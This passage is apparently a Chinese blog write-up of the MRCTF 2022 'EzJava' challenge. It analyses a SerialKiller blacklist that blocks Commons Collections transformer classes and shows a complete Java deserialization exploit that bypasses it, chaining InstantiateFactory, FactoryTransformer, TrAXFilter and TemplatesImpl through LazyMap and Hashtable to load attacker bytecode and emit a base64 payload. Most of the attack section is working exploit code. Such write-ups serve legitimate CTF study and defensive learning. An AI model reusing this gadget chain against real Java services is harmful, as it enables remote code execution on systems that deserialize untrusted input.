首页 > 编程语言 >MRCTF 2022 EzJava

MRCTF 2022 EzJava

时间:2024-07-03 20:58:29浏览次数:20  
标签:MRCTF java commons new EzJava 2022 org apache import

MRCTF 2022 EzJava

题目分析

下载附件得到一个 jar 包和一个 waf 配置文件。如果只是为了本地搭建环境,直接启动 jar 包就行了,但是如果需要进行远程调试就需要进行一些配置(这个网上教程很多),这个调试也要看具体需求,能直接打通的话就不需要调试。

但是不管怎么说,第一步肯定都是先解压 jar 包好进行代码审计。

先看依赖:

依赖挺多,不过对于我这个 java 新手不认识几个,但是发现了熟悉的 cc 链依赖。

然后找反序列化的入口 readObject 函数

这里就是获得 body 中的数据进行 base64 解码然后进行反序列化,不过注意到还有个 serialkiller.xml 文件,这是 SerialKiller 依赖的配置文件,也就是刚刚附件中的另一个文件,将其复制进项目的 resource 后进行分析

<?xml version="1.0" encoding="UTF-8"?>
<!-- serialkiller.conf -->
<config>
    <refresh>6000</refresh>
    <mode>
        <!-- set to 'false' for blocking mode -->
        <profiling>false</profiling>
    </mode>
    <logging>
        <enabled>false</enabled>
    </logging>
    <blacklist>
    <!-- ysoserial's CommonsCollections1,3,5,6 payload  -->
    <regexp>org\.apache\.commons\.collections\.Transformer$</regexp>
    <regexp>org\.apache\.commons\.collections\.functors\.InvokerTransformer$</regexp>
    <regexp>org\.apache\.commons\.collections\.functors\.ChainedTransformer$</regexp>
    <regexp>org\.apache\.commons\.collections\.functors\.ConstantTransformer$</regexp>
    <regexp>org\.apache\.commons\.collections\.functors\.InstantiateTransformer$</regexp>
    <!-- ysoserial's CommonsCollections2,4 payload  -->
    <regexp>org\.apache\.commons\.collections4\.functors\.InvokerTransformer$</regexp>
    <regexp>org\.apache\.commons\.collections4\.functors\.ChainedTransformer$</regexp>
    <regexp>org\.apache\.commons\.collections4\.functors\.ConstantTransformer$</regexp>
    <regexp>org\.apache\.commons\.collections4\.functors\.InstantiateTransformer$</regexp>
    <regexp>org\.apache\.commons\.collections4\.comparators\.TransformingComparator$</regexp>
    </blacklist>
    <whitelist>
        <regexp>.*</regexp>
    </whitelist>
</config>

过滤掉了之前学习 cc 链最后要用的所有 transform 方法的类。所以这道题题其实考察的就是最后执行命令部分。

现在需要找的就是有没有其他类的 transform 方法可以利用,来到 transform 接口开始一个一个寻找:

最后找到了 FactoryTransformertransform 方法,后面类的 transform 我也只是粗略的看过,有可能也有利用的地方。

继续看 create 方法,看看哪些可以构成危险。这个 create 方法其实有点太多了,参考文章,最后在 cc 依赖目录下进行寻找就行了

这里非常可疑,看到可以达到实列化的目的,和 cc3 最后十分相像,cc3 最后是调用的 TrAXFilter 的构造函数从而调用到 newTransformer() 进行字节码加载。所以这里的可以利用这个 create 方法调用 TrAXFilter 的构造函数然后进行字节码加载。

exp 构造

先编写出最后执行的 transform 方法

InstantiateFactory ins = new InstantiateFactory(TrAXFilter.class, new Class[]{Templates.class}, new Object[]{tem});  
FactoryTransformer fa = new FactoryTransformer(ins);

剩下的照搬 cc3 就行了

package org.example;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;  
import org.apache.commons.collections.Transformer;  
import org.apache.commons.collections.functors.*;  
import org.apache.commons.collections.keyvalue.TiedMapEntry;  
import org.apache.commons.collections.map.LazyMap;   
import javax.xml.transform.Templates;  
import java.io.*;  
import java.lang.annotation.Target;  
import java.lang.reflect.*;  
import java.nio.file.Files;  
import java.nio.file.Paths;  
import java.util.Base64;  
import java.util.HashMap;  
import java.util.Hashtable;  
import java.util.Map;  
import java.lang.reflect.Field;  
import java.lang.reflect.Modifier;  
  
public class Main {  
    public static void main(String[] args)throws Exception {  
  
        TemplatesImpl tem = new TemplatesImpl();  
        byte[] code = Files.readAllBytes(Paths.get("D:/gaoren.class"));  
        setValue(tem, "_bytecodes", new byte[][]{code});  
        setValue(tem, "_tfactory", new TransformerFactoryImpl());  
        setValue(tem, "_name", "gaoren");  
        setValue(tem, "_class", null);  
  
        InstantiateFactory ins = new InstantiateFactory(TrAXFilter.class, new Class[]{Templates.class}, new Object[]{tem});  
  
        FactoryTransformer fa = new FactoryTransformer(ins);  
  
        HashMap map2 = new HashMap();  
  
        Map<Object, Object> Lazy = LazyMap.decorate(map2, new ConstantTransformer(1));  
        Lazy.put("zZ", 1);  
  
        TiedMapEntry tie = new TiedMapEntry(Lazy, "aaa");  
        Hashtable hashtable = new Hashtable();  
        hashtable.put(tie, 1);  
  
        Lazy.remove("aaa");  
  
        Class<LazyMap> lazyMapClass = LazyMap.class;  
        Field factoryField = lazyMapClass.getDeclaredField("factory");  
        factoryField.setAccessible(true);  
        factoryField.set(Lazy, fa);  
        try {  
            ByteArrayOutputStream out = new ByteArrayOutputStream();  
            ObjectOutputStream objout = new ObjectOutputStream(out);  
            objout.writeObject(hashtable);  
            objout.close();  
            out.close();  
            byte[] ObjectBytes = out.toByteArray();  
            
            ByteArrayInputStream in=new ByteArrayInputStream(ObjectBytes);  
            ObjectInputStream objin=new ObjectInputStream(in);  
            objin.readObject();  
            objin.close();  
            in.close();  
        } catch (Exception e) {  
            e.printStackTrace();  
        }  
    }  
    public static void setValue(Object obj,String fieldName,Object value) throws Exception {  
        Field field = obj.getClass().getDeclaredField(fieldName);  
        field.setAccessible(true);  
        field.set(obj,value);  
    }  
}

执行测试

测试成功后将其序列化结果进行 base64 编码,

String base64EncodedValue = Base64.getEncoder().encodeToString(ObjectBytes);
System.out.println(base64EncodedValue);

标签:MRCTF,java,commons,new,EzJava,2022,org,apache,import
From: https://www.cnblogs.com/gaorenyusi/p/18282544

相关文章

  • 【转】[VS2022] 给下载扩展提速
    使用:https://tool.chinaz.com/dns参考:https://blog.51cto.com/xiaohaiwa/5681372步骤:1、在https://marketplace.visualstudio.com下载扩展,然后在Chrome浏览器的下载记录里对正在下载的任务,复制它的域名2、进 https://tool.chinaz.com/dns站长工具网站,查这个域名的响应......
  • springboot3(cloud 2022.0.0)整合seata1.7.1
    一、第一步下载对应版本的seata服务  二、修改conf下的application.yml配置注意:主要是连接nacos的一些配置:注册中心和服务发现的配置1#Copyright1999-2019Seata.ioGroup.2#3#LicensedundertheApacheLicense,Version2.0(the"License");4#you......
  • LibreOJ 3910 「PA 2022」Mędrcy
    考虑找一下走掉的条件:若\(x\)第\(1\)天走掉,那么就说明\(x\)没有知道任何咒语。若\(x\)第\(2\)天走掉,那么就说明应该存在一个\(y\),按照\(x\)已知的信息,\(y\)应该没有掌握咒语,但是\(y\)第一天没走。若\(x\)第\(3\)天走掉,那么就说明应该存在一个\((y,z)\)......
  • 2000-2022年上市公司数字化转型与绿色创新质量匹配数据(含控制变量)
    2000-2022年上市公司数字化转型与绿色创新质量匹配数据(含控制变量)https://download.csdn.net/download/a519573917/89501000目录 上市公司数字化转型与绿色创新质量匹配的实证研究一、引言二、文献综述三、实证模型四、数据来源与描述性统计五、实证结果与分析六......
  • 农业新质生产力数据(2012-2022年)原始+dofile+测算数据集
    数据简介:农业新质生产力是指在现代农业发展中,通过融合尖端科技、信息技术与创新管理模式,实现农业生产效率飞跃、产品质量显著提升及生产可持续性增强的一种革新性生产能力,农业新质生产力代表了从依赖传统资源转向依靠科技创新与高效资源配置的农业现代化路径,是推动农业绿色转型......
  • VS2022 csproject文件增加发布时文件项
    发布时新加的node_modules 总是不会伴随着其他文件一起发布到文件夹里面。一个一个添加选项太麻烦了。百度查询后发现可以通过修改csproject 把node_modules  //添加节点即可<ItemGroup><ContentInclude="wwwroot\assets\node_modules\**"><CopyToOutputDirectory>P......
  • 2009年-2022年 地级市-环境污染处罚数据
    环境污染处罚数据是环境保护领域中重要的信息资源,它记录了因违反环保法律法规而受到行政处罚或法律制裁的具体情况。这些数据对于提高公众的环保意识、促进企业采取环保措施以及推动环境治理具有重要作用。数据内容概述违法行为的主体:即受到处罚的个人或企业。违法事实:具......
  • 2000年 - 2022年 Fama-French三因子模型数据+代码
    Fama-French三因子模型是由著名经济学家尤金·法玛(EugeneFama)和肯尼斯·法兰奇(KennethFrench)提出的,旨在改进资本资产定价模型(CAPM),更全面地解释资产收益率的变化。该模型认为,除了市场风险溢价外,还有两个额外的风险因子可以解释股票或投资组合的超额回报率,即市值因子(也称为......
  • Redis Desktop Manager for Mac(Redis桌面管理工具) v2022.5.0中文版
    RedisDesktopManagerforMac是Mac平台上一款非常实用的Redis可视化工具。RDM支持SSL/TLS加密,SSH隧道,基于SSH隧道的TLS,为您提供了一个易于使用的GUI,可以访问您的Redis数据库并执行一些基本操作:将键视为树,CRUD键,通过shell执行命令。RedisDesktopManagerforMac(Redis桌......
  • Midas Civil2022安装使用教程
    MidasCivil是一款先进的桥梁与土木工程结构分析设计软件,专为桥梁工程师打造。它集成了强大有限元分析引擎,支持从初步设计到详细设计全过程,提供桥梁结构静力分析、动力分析、稳定性评估、抗震设计等功能。用户通过直观界面,能够高效建模、仿真各类复杂工况,确保结构安全性与经济......